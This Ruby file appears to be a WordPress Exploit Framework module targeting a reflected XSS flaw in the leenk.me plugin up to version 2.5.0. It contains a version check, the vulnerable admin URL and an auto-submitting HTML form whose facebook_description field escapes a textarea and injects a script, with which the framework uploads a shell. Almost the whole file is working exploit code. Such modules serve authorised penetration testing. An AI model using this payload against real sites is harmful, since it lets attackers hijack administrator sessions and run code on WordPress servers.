# frozen_string_literal: true

class Wpxf::Exploit::LeenkmeReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'leenk.me <= 2.5.0 Reflected XSS Shell Upload',
      author: [
        'Shravan Kumar', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8457'],
        ['URL', 'http://www.openwall.com/lists/oss-security/2016/04/16/4']
      ],
      date: 'Apr 16 2016'
    )
  end

  def check
    check_plugin_version_from_readme('leenkme', '2.6.0')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}?page=leenkme_facebook', {
        facebook_description: "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>",
        update_facebook_settings: "Save&#32;Settings"
      });
    </script></body></html>
    |
  end
end
